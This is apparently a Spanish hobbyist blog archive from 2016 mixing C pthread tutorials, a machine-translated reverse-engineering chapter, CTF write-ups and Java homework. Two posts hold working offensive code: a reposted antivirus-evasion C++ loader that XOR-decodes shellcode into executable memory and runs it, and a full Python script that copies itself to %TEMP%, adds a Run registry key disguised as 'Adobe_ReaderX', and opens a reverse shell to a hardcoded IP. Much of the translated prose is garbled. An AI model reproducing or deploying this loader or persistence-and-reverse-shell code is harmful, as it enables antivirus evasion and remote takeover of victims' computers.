miércoles, 30 de marzo de 2016

Thread en lenguaje C sobre entorno linux - Creación de un hilo

Thread Creation - Creación de un hilo
Cada hilo en un proceso se identifica mediante un ID de hilo. Cuando se hace referencia a los ID de hebra en los programas de C o C ++, se utiliza el tipo pthread_t.

Tras su creación, cada hilo realiza una función.Este es sólo una función ordinaria y contiene el código que el hilo debe ejecutar. Cuando la función devuelve, el hilo termina. En GNU / Linux, las funciones de hilos toman un único parámetro, de tipo void*, y tienen un tipo de retorno void *.


El parámetro es el argumento de hilo:
GNU / Linux pasa el valor a lo largo del hilo sin mirarlo.Su programa puede utilizar este parámetro para pasar los datos a un nuevo hilo. Del mismo modo, el programa puede utilizar el valor de retorno de pasar los datos a partir de un tema existente de vuelta a su creador.

La función pthread_create crea un nuevo hilo.Y usted le proporciona lo siguiente:
  1. Un puntero a una variable pthread_t, en el que el ID del hilo del nuevo hilo es almacenado. 
  2. Un puntero a un objeto de atributo hilo.Este objeto controla los detalles de cómo el hilo interactúa con el resto del programa. Si pasa NULL como el atributo de hilo, un hilo se creará con los atributos de hilo por defecto.Esto se discutiría mas adelante. 
  3. Un puntero a la función del hilo. Este es un puntero de función ordinaria, de este tipo:    void* (*) (void*)
  4. Un valor del argumento de hilo de tipo void *. Este pasa simplemente como argumento a la función del hilo cuando el hilo comienza a ejecutar.
Una llamada a pthread_create retorna inmediatamente, y el hilo original continúa ejecutando las instrucciones después de la llamada. Mientras tanto, el nuevo hilo comienza a ejecutar la función del hilo. Y los horarios de los dos hilos de Linux trabajan de forma asíncrona, y su programa no deben confiar en el orden relativo en el que las instrucciones se ejecutan en los dos hilos.
El siguiente programa crea un hilo que imprime x de forma continua en el error estándar. Después de llamar a pthread_create, el hilo principal o imprime de forma continua en el error estándar.

 Ejemplo:
#include <pthread.h>
#include <stdio.h>
/* Imprime x como salida de error. El parámetro no se utiliza. No retorna. */
void* print_xs (void* unused)
{
while (1)
fputc ('x', stderr);
return NULL;
}
/* El inicio del programa */
int main ()
{
pthread_t thread_id;
/* Crea un nuevo Hilo. El nuevo hilo se ejecutará la función print_xs. */
pthread_create (&thread_id, NULL, &print_xs, NULL);
/* Imprimir de forma continua 'o' como salida estándar de errores. */
while (1)
fputc ('o', stderr);
return 0;
}
compilar y enlazar este programa mediante el siguiente codigo:
gcc nombre.c -o nombre -lpthread

intente ejecutarlo para que pasa. Observe el patron impredecible de las x's y las o's como linux alterna horarios de los hilos. 

En circunstancias normales, un hilo sale de una de dos maneras. Una forma, como se ilustra anteriormente, es mediante la devolución de la función del hilo. 
El valor de retorno de la función del hilo se toma como el valor de retorno del hilo. Alternativamente, un hilo puede salir de forma explícita llamando pthread_exit.
Esta función puede ser llamado desde dentro de la función del hilo o de alguna otra función de llamada directa o indirectamente por la función de hilo.El argumento para pthread_exit es el valor de retorno hilo.

Thread en lenguaje C sobre entorno linux - introduccion

PTHREAD
HILOS, por ejemplo los procesos, son un mecanismo para permitir que un programa pueda hacer más de una cosa a la vez. Al igual que con los procesos, subprocesos parecen funcionar simultáneamente;El kernel de Linux es el que planifica de forma asíncrona, interrumpiendo cada hilo de vez en cuando para dar a otros la oportunidad de ejecutarse.

Conceptualmente, existe un hilo dentro de un proceso. Los hilos son una unidad de grano más fino de la ejecución de procesos. Cuando se invoca un programa, Linux crea un nuevo proceso y en ese proceso crea un solo hilo, que ejecuta el programa de forma secuencial. Ese hilo puede crear hilos adicionales; todos los hilos se ejecutan en el mismo programa y en el mismo proceso, pero cada hilo puede ser la ejecución de una parte diferente del programa en cualquier tiempo dado.
Se a visto cómo un programa puede bifurcar un proceso hijo. El proceso hijo que inicialmente ejecuta el programa de su padre, con la memoria virtual de su padre, los descriptores de archivo, etc.
"En copiado". El proceso hijo puede modificar su memoria, cierre de los descriptores de fichero, y similares sin afectar a su padre, y viceversa. Cuando un programa crea otro hilo, nada se copia. La creación y el hilo creado comparten el mismo espacio de memoria, los descriptores de archivos y otros recursos del sistema que el original.
Si cambiamos de un hilo, el valor de una variable, por ejemplo, el otro hilo posteriormente verá el valor modificado. Del mismo modo, si un hilo cierra un descriptor de archivo, otros hilos no pueden leer o escribir en el descriptor de archivo. Debido a un proceso y todos sus hilos pueden ser ejecutando sólo un programa a la vez, si cualquier hilo dentro de un proceso de llama uno de las funciones exec , todos los otros hilos se terminaron (el nuevo programa puede, por supuesto, crear una nuevo hilo). 
GNU / Linux implementa la API de hilos POSIX estándar (conocido como pthreads). Todas funciones de hilo y tipos de datos se declaran en el archivo de cabecera <pthread.h> .Las funciones del pthread no están incluidos en la biblioteca estándar C. En su lugar, están en libpthread, lo que debería agregar -lpthread a la línea de comandos cuando se vincula a su programa. 

martes, 29 de marzo de 2016

Ingeniería inversa para Los principiantes - CAPITULO 1

CAPITULO 1
A short introduction to the CPU - Una breve introducción a la CPU


La CPU es el dispositivo que ejecuta el código máquina de un programa consta de.
Un breve glosario:
 
Instrucción : Un comando CPU primitiva. Los ejemplos más simples son: mover datos entre los registros, que trabajan con memoria, las operaciones aritméticas primitivos. Como regla general, cada CPU tiene su propia arquitectura del conjunto de instrucciones (ISA).
 
Código máquina : El código que la CPU procesa directamente. Cada instrucción es generalmente codificada por varios bytes.
 
El lenguaje ensamblador: código mnemónico y algunas extensiones como macros que tiene la intención de hacer la vida de un programador más fácil.
 
registro de la CPU: Cada CPU tiene un conjunto fijo de registros de propósito general (GPR). 8 en x86, x86-64 en 16, 16 en ARM. La forma más fácil de entender un registro es pensar en ella como una variable temporal sin tipo. Imagínese si estuviera trabajando con un alto nivel PL 1 y sólo podía utilizar ocho variables de 32 bits (o 64 bits).Sin embargo, mucho se puede hacer usando sólo estos!
 
Uno podría preguntarse por qué es necesario que haya una diferencia entre el código máquina y una PL. La respuesta radica en el hecho de que los seres humanos y las CPU no son una como- es mucho más fácil para los seres humanos para utilizar un PL de alto nivel como C / C ++, Java, Python, etc., pero es más fácil para una CPU de usar un nivel mucho más bajo de abstracción.
Tal vez lo haría sea posible inventar una CPU que puede ejecutar código PL alto nivel, pero sería muchas veces más complejo que el CPU que sabemos de hoy. En una manera similar, es muy incómodo para los seres humanos que escriben en lenguaje ensamblador, debido a que es por lo bajo nivel y difícil de escribir en sin hacer un gran número de molestos errores.
El programa que convierte el código PL alto nivel en el conjunto es llamado un compilador.
 
1.1 A couple of words about different ISAs - Un par de palabras sobre diferentes ISAs
 
La ISA x86 siempre ha sido uno de los códigos de operación de longitud variable, por lo que cuando la era del 64 bits  vino, las extensiones x64 no afectaron la ISA de manera muy significativa. De hecho, la ISA x86 todavía contiene una gran cantidad de instrucciones que apareció por primera vez en la CPU de 16 bits 8086, sin embargo, todavía se encuentran en la CPU de hoy. 
 
ARM es una CPU RISC 2-diseñado con una longitud constante del código de operación ten en cuenta, que tenía algunas ventajas en el pasado. En el principio, todas las instrucciones ARM eran codificada en 4 bytes. Esto ahora se conoce como "modo ARM". 
 
Entonces pensaron que no era tan frugal como se había pensado inicialmente. De hecho, la mayor parte se usa instrucciones de la CPU en aplicaciones del mundo real se pueden codificar con menos información.
Por lo tanto, añaden otra ISA, llamado pulgar, donde cada instrucción se codifica en sólo 2 bytes. Esto ahora se conoce como "modo de pulgar". Sin embargo, no todas las instrucciones ARM pueden ser codificados en sólo 2 bytes, por lo que el conjunto de instrucciones del pulgar es algo limitada.
Vale la pena señalar que el código compilado para el modo de ARM y modo de pulgar puede coexistir, por supuesto, dentro de un mismo programa.
 
Los creadores de ARM Pulgar pensado podría ser ampliada, dando lugar a Pulgar-2 o "Thumb-2", que aparecido en ARMv7.Thumb-2 sigue utilizando las instrucciones de 2 bytes, pero tiene algunos de las nuevas instrucciones que tienen el tamaño de 4 bytes.Hay una idea errónea de que Thumb-2 es una mezcla de ARM y el pulgar. Esto es incorrecto. Más bien, Thumb-2 se extendió a apoyar plenamente todas las características del procesador por lo que podría competir con ARMmodo de un objetivo que se alcanzó con claridad, ya que la mayoría de las aplicaciones para el iPod / i-phone / iPad han sido compilados para el conjunto de instrucciones Thumb-2 (la verdad, debido en gran parte al hecho de que Xcode hace esto por defecto).Más tarde, el ARM de 64 bits salió.Esta NIA tiene códigos de operación de 4 bytes, y carecía de la necesidad de cualquier modo Thumb adicional.Sin embargo, los requisitos de 64 bits afectaron a la ISA, lo que resulta en nosotros ahora tiene tres juegos de instrucciones ARM: 
el modo de armado, de modo de Thumb(incluyendo Thumb-2) y ARM64.Estas ISA se cruzan parcialmente, pero se puede decir que son diferentes las NIA, en vez que las variaciones de la misma.Por lo tanto, nos gustaría probar para añadir fragmentos de código en los tres ISA ARM en este libro.
 
Hay muchas otras NIA RISC con una longitud de códigos de operación de 32 bits fijos, tales como MIPS, PowerPC y Alpha AXP.
 

Ingeniería inversa para Los principiantes - Introduccion

Code patterns -  patrones de código

Cuando el autor de este libro comenzó a aprender C y, después, C ++, que solía escribir pequeñas piezas de código, compilar, y que se ven en la salida del lenguaje ensamblador.
Esto hace que sea muy fácil para él entender lo que estaba pasando en el código que había escrito. Lo hizo tantas veces que la relación entre
código el C/C++  y lo que el compilador fue producido marcar profunda en su mente. Es fácil imaginar al instante un esbozo de C apariencia códigos y función. Quizás esta técnica podría ser útil para los demás.
Hay veces, que se usan los compiladores antiguos aquí, con el fin de obtener el más corto (y más simple) fragmento de código posible.
Exercises - Ceremonias
Cuando el autor de este libro estudio el lenguaje ensamblador, que a menudo también compilaba con pequeñas funciones de C y que luego se escriben de forma gradual hasta el montaje, tratando de hacer su código lo más corto posible.Esto probablemente no vale la pena hacerlo en escenarios del mundo real hoy en día, porque es difícil competir con los ordenadores modernos en términos de eficiencia.sin embargo, eso es una muy buena manera de obtener una mejor comprensión del conjunto.
No dude, por lo tanto, para tomar cualquier código ensamblador de este libro y tratar de hacerlo "corta". Sin embargo, no se olvide de poner a prueba lo que hay escrito.
Optimization levels and debug information - niveles de optimización e información de depuración
El código fuente puede ser compilado por diferentes compiladores con diversos niveles de optimización. Un compilador típico tiene alrededor de tres niveles, tales donde el nivel cero indica mejoramiento deshabilitado . La optimización también puede ser dirigido hacia el tamaño del código o la velocidad de código.
Un compilador no la optimización es más rápido y produce código más comprensible (aunque verbosa), mientras que un compilador de optimización es más lento y trata de producir código que corre más rápido (pero no necesariamente es más compacto).
Además de los niveles de optimización y dirección, un compilador puede incluir en el archivo resultante alguna información de depuración, código produciendo así haciendo una fácil depuración.
Una de las características importantes del código de depuración 'es que puede contener enlaces entre cada línea del código fuente y las respectivas direcciones de código de máquina.
La optimización de los compiladores, por el contrario, tienden a producir una salida donde las líneas enteras de código fuente se pueden optimizar de distintas "distancia" maneras  y por lo tanto ni siquiera estar presente en el resultado código de máquina.
La ingeniería inversa pueden encontrar ya sea la versión, simplemente porque algunos desarrolladores se convierten en los parámetros de optimización del compilador y otras no. Debido a esto, vamos a tratar de trabajar en ambos ejemplos de depuración y liberar las versiones del código presentado en este libro, siempre que sea posible. 
  

jueves, 24 de marzo de 2016

Un zip corrupto

Esto es uno de los días donde te levantas y lo único que quieres hacer es estar en el ordenador por suerte siempre hay paginas con retos sencillos para no desesperarse sinfocol aun que este sea un reto sencillo me e decidido a publicarlo también en mi humilde blog a si que aquí esta
bueno ese el reto por no se cuantos puntos eso no importa y aqui comienza el reto tenemos que descargar un zip
bueno una vez descargado vamos a la carpeta donde le hemos puesto :)
en mi caso en una carpeta que llame reto XD
bien ahora que vamos a utilizar para poder extraer los archivos sin que nos lance ese usual error
 bueno en este caso vamos a ver que opciones nos da el comando zip que siempre nos sirve para descomprimir este tipo de archivos
la opción que remarque nos dice que no agrega las entradas de directorio y nos dice que la opción -F  es para reparar y -FF es forzar el archivo bueno seria mas conveniente forzarlo de una vez para ver si podemos o no recuperar el archivo 
como podemos ver nos falto decir como se llamara el nuevo archivo de salida donde estara todo reparado
bueno ya quedo ahora des compactamos el otro archivo
bien no nos lanzo ningún error ahora vamos a ver que habia dentro
listo ya quedo el reto completado :) fue muy sencillo ¿o no? jejeje vale espero poder seguir publicando todo lo que haga siempre y cuando cuente con tiempo







viernes, 18 de marzo de 2016

Bypassing Antivirus con diez líneas de código o (una vez más)

en primer lugar este post no me pertenece pero a un asi me gustaria compartirlo por la simplicidad del metodo de Bypassing presiona pagina original
Me había propuesto originalmente para escribir un post largo aliento en diferentes técnicas de derivación antivirus. Fui a través de lo que se suponía que era el paso 1 de mi guía y subido mi binario resultante para VirusTotal. Para mi sorpresa total y absoluta, el binario tiene una tasa de detección de 0/56. Me decidí a tirar mi largo aliento idea y seguir adelante con este método rápido y sucio, e increíblemente fácil.
Creo que la mayoría de mis lectores estarán de acuerdo conmigo en que la mayoría de los antivirus sin pasar por soluciones basadas es más bien trivial, sin embargo, de vez en cuando me tropiezo a algunas personas que únicamente dependen de herramientas que generan binarios que pueden ser fácilmente huellas digitales y marcados por las soluciones antivirus. Este artículo se destina gran parte de esa audiencia.
Antes de profundizar en este pequeño bocado de código C ++, me gustaría tocar en una herramienta que es realmente bueno para producir binarios que casi siempre escapan a la detección, Velo-Evasión (parte del Velo-framework). Esta herramienta es impresionante (muchas gracias a @harmj0y y otros para crear y contribuir a este proyecto increíble) y en casi todos los casos he tenido que usarlo no me ha defraudado. Si es así, me culpar a las personas que mantienen los binarios de generación y luego probarlos en VirusTotal. Si ustedes, la gente podría dejar de hacer eso, que sería grande. 
En cualquier caso, esto plantea la pregunta, si las herramientas como velo de evasión son tan épicas, ¿por qué debería preocuparse por saber cómo palma junto un binario con una carga útil de código shell? Bueno, hay una serie de razones: 
*Los binarios generados por las herramientas se convierten en fingerprintable; no necesariamente la carga útil, pero la estructura compilada del binario.
*Como pruebas de penetración, que realmente debe saber cómo hacer esto. 
Antes de tomar un vistazo al código de abajo, vale la pena señalar que este se dirige a la plataforma Windows; ya que obviamente ha señalado con la referencia a windows.h  ;)
#include <windows.h>
#include <iostream>
int main(int argc, char **argv) {
 char b[] = {/* Tu palabra con la clave de código shell 'x', va aquí 0x4C,0x4F, 0x4C */};
 char c[sizeof b];
 for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';
}
 void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 memcpy(exec, c, sizeof c);
 ((void(*)())exec)();
}
  
En pocas palabras, el código anterior crea una matriz de caracteres con código shell puede agregar, realiza una operación XOR con la clave increíblemente sofisticada de minúsculas "x", asigna una cierta memoria, copia la matriz de caracteres en dicha memoria asignada, y lo ejecuta. Puede valer la pena destacar que necesitará su código shell XOR con la clave de la elección (en este caso 'x') antes de colocarlo en el código anterior y compilar.
Así que es probable que esté mirando y pensando que "realmente? ' - Se como te sientes. Así es como me sentí después de mi intención que este es el paso 1 de mi tutorial y me encontré a través de VirusTotal y volvió 0/56 detección. Me gustaría hacer hincapié en que se trata de una técnica sencilla y la más básica increíble, sin embargo, su éxito es aún más sorprendente.
Originalmente escribí este ejemplo y probado en total de virus hace un tiempo, pero lo hice volver a analizar el archivo ejecutable en VirusTotal en el momento de la publicación de este post y lo encontró todavía tenía una tasa de detección de 0.
   
  

miércoles, 16 de marzo de 2016

comprendiendo como funciona un malware en python

Una de las cosas más comunes que se encontrará en el malware es  que desean obtener la persistencia hacia la víctima. Hay un montón de maneras de lograr la persistencia en Windows, uno de los más comunes es para modificar la clave del Registro siguiente: "Software \ Microsoft \ Windows \ CurrentVersion \ Run". A continuación se muestra una captura de pantalla rápida del código Python para copiar el programa en el directorio% TEMP% y luego hacer una modificación del registro por lo que este código se ejecutará cuando un usuario inicia sesión en el ordenador:

import sys, base64, os, socket, subprocess

    from _winreg import *

    def autorun(tempdir, fileName, run):

    # ejecutable para copiar en %TEMP%:

        os.system('copy %s %s'%(fileName, tempdir))

    # Registro de Windows para las consultas de valores clave

    # Añade clave de ejecución automática para volver a codificar matriz

        key = OpenKey(HKEY_LOCAL_MACHINE, run)

        runkey =[]

        try:

            i = 0

            while True:

                subkey = EnumValue(key, i)

                runkey.append(subkey[0])

                i += 1

        except WindowsError:

            pass

    # Establecer clave de ejecución automática:

        if 'Adobe ReaderX' not in runkey:

            try:

                key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)

                SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe")

                key.Close()

            except WindowsError:

                pass
 
Ahora que hemos copiado este archivo al directorio% TEMP%, y la configuración de la persistencia podemos ejecutar la siguiente parte del código, el shell inversa. Nos toca aprovechar una shell inversa en Python publicado por TrustedSec que hice una modificación - Base64 codificar el tráfico de la red:

def shell():
#Base64 encoded reverse shell
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.56.1', int(443)))
    s.send('[*] Connection Established!')
    while 1:
        data = s.recv(1024)
        if data == "quit": break
        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        stdout_value = proc.stdout.read() + proc.stderr.read()
        encoded = base64.b64encode(stdout_value)
        s.send(encoded)
        #s.send(stdout_value)
    s.close()
def main():
    tempdir = '%TEMP%'
    fileName = sys.argv[0]
    run = "Software\Microsoft\Windows\CurrentVersion\Run"
    autorun(tempdir, fileName, run)
    shell()
if __name__ == "__main__":
        main()
 Ahora, cuando este programa se ejecuta abrirá un shell inversa de vuelta al "atacante", que en este caso es una dirección IP no modificable en el guión, pero fácilmente podría ser de dominio, o tal vez algo en la nube de Amazon.
Aquí está el código completo:
import sys, base64, os, socket, subprocess
from _winreg import *
def autorun(tempdir, fileName, run):
# ejecutable para copiar en %TEMP%:
    os.system('copy %s %s'%(fileName, tempdir))
# Registro de Windows para las consultas de valores clave
# Añade clave de ejecución automática para volver a codificar matriz
    key = OpenKey(HKEY_LOCAL_MACHINE, run)
    runkey =[]
    try:
        i = 0
        while True:
            subkey = EnumValue(key, i)
            runkey.append(subkey[0])
            i += 1
    except WindowsError:
        pass
# If the autorun key "Adobe ReaderX" isn't set this will set the key:
    if 'Adobe ReaderX' not in runkey:
        try:
            key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
            SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe")
            key.Close()
        except WindowsError:
            pass
def shell():
#Base64 encoded reverse shell
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.56.1', int(443)))
    s.send('[*] Connection Established!')
    while 1:
        data = s.recv(1024)
        if data == "quit": break
        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        stdout_value = proc.stdout.read() + proc.stderr.read()
        encoded = base64.b64encode(stdout_value)
        s.send(encoded)
        #s.send(stdout_value)
    s.close()
def main():
    tempdir = '%TEMP%'
    fileName = sys.argv[0]
    run = "Software\Microsoft\Windows\CurrentVersion\Run"
    autorun(tempdir, fileName, run)
    shell()
if __name__ == "__main__":
        main()

miércoles, 9 de marzo de 2016

Bien esta vez vamos a ver un trabajo que me dejaron hace poco :y bueno este lenguaje no es para mi el problema es el siguiente

haga un programa de números Abundantes y Gemelos que deben de correr en hilos separados, permitiendo calcular asincronamente ambos.

bien sin mas vamos al codigo 

public class Juntos01 {
    public static void main(String arg[]){
        try {
            Thread.currentThread().sleep( 100 );
        }catch( InterruptedException e ){}
        Thread hilo = new Gemelos();
        Thread hilo2 = new Abundantes();

        hilo.start();
        hilo2.start();
       
    }
}


ahora las clases de abundantes y gemelos 
class Gemelos extends Thread{
    public static void main(String loquiequiera[]){
        long inicio_pri, fin_pri, mili_pri;
        //Gemelos a = new Gemelos();
        //a.saludar();
        inicio_pri=System.currentTimeMillis();
        //a.Mostrar_n_gemelos(10);
        fin_pri=System.currentTimeMillis();
        mili_pri=fin_pri - inicio_pri;
        System.out.println("MILISEGNDOS=" + mili_pri);


    }


    private boolean primo(long num_a_chk){
            int divisibles=0;
            for(long con_quien=num_a_chk; con_quien>=1; con_quien--){
                if(num_a_chk%con_quien == 0 ) divisibles++;
            }
            if( divisibles==2 )
                return true;
            else
                return false;
    }

    public void run(){
        int n=100;
        long num_a_chk=3, encontrados=0;
        while(encontrados<n){
            if(primo(num_a_chk)==true && primo(num_a_chk-2) == true ){
                System.out.println("Gemelos: "+ (num_a_chk-2) + " , " + num_a_chk);
                encontrados++;
            }
            num_a_chk++;
        }
    }
}






class Abundantes extends Thread{
    public static void main (String a[]){
        long tini, tfin, ttarda;
        //Abundantes obj = new Abundantes();

        tini=System.currentTimeMillis();
        //obj.mostrar_abundantes(1000);
        tfin=System.currentTimeMillis();
        ttarda = tfin - tini;
        System.out.println("TARDO: " + ttarda);
    }
    private boolean es_abundante(long x){

        long i, suma=0;
        //System.out.println("Checar: " + x);
        for (i = 1; i<=x; i++){
            if (x % i == 0){
            //System.out.print ("+ " + i );
                suma += i; // sumar = sumar + i
            }
        }
        //System.out.println();
        //System.out.println (suma + " > 2* " + x);
        if( suma > 2*x ) return true;
        else return false;
    }

    public void run(){
        int n=100;
        while (n>1){
        // --n   n--
            if(es_abundante(n))
                System.out.println(n + " es abundante");
                n--;
        }
    }

} 

espero que este pequeño código le sirva a alguien mas :)

domingo, 6 de marzo de 2016

checando las cabezeras de los archivos

bueno hoy acabo de llegar de ir de fiesta creo que llegue como a las 2 y bueno me puse a hacer mi tarea de calculo y como la termine un poco tarde creo que son como las 3:40 am y no e dormido me propuse a hacer esta pequeña maqueta a exponer
para comenzar analizaremos los archivos de forma manual y checa remos que tipo de archivo sera

bien para empezar tendremos el siguiente archivo a analizar se ve muy sospechoso :|
ahora lo checa remos con mi depurador preferido radare2
y ejecutamos después solo escribimos V para visualizar todo
nos aparecería lo siguiente
ahora compararemos con la siguiente tabla los primeros 4 grupos de 2 hexadecimales lista


 bueno si ya comparamos nos podemos dar cuenta que las cabeceras no coinciden ¿por que? bueno la cabecera del archivo que esto manejando es la siguiente:
504b 0304 cuyo valor en ASCII es PK..
y bueno como sabes eso si checamos la cabecera del jpg normal podemos ver que inicia con lo siguiente
FF D8 FF DB  cuyo valor en ASCII es ÿØÿÛ
o podría ser también los siguientes valores para poder ser una imagen
cabecera                                 ASCII
FF D8 FF E0 nn nn                        ÿØÿà ..J
4A 46                                               F IF..
49 46 00 01 
bueno ahora llegamos a la conclusión de que el archivo no es una imagen bueno ahora que hacemos?
seguir checando y bueno como me da mas pereza escribir por haber trabajado casi toda la noche bueno mas que nada irme de fiesta les muestro la captura de pantalla de lo que realmente es el archivo

 y bueno antes cambiar la extencion intentemos abrirla sin modificar nada antes
 se nos aparece un error bueno ahora cambiemos la extencion del archivo
bien ya quedo ahora les muestro la imagen
espero que eso les sirva para algo mucha suerte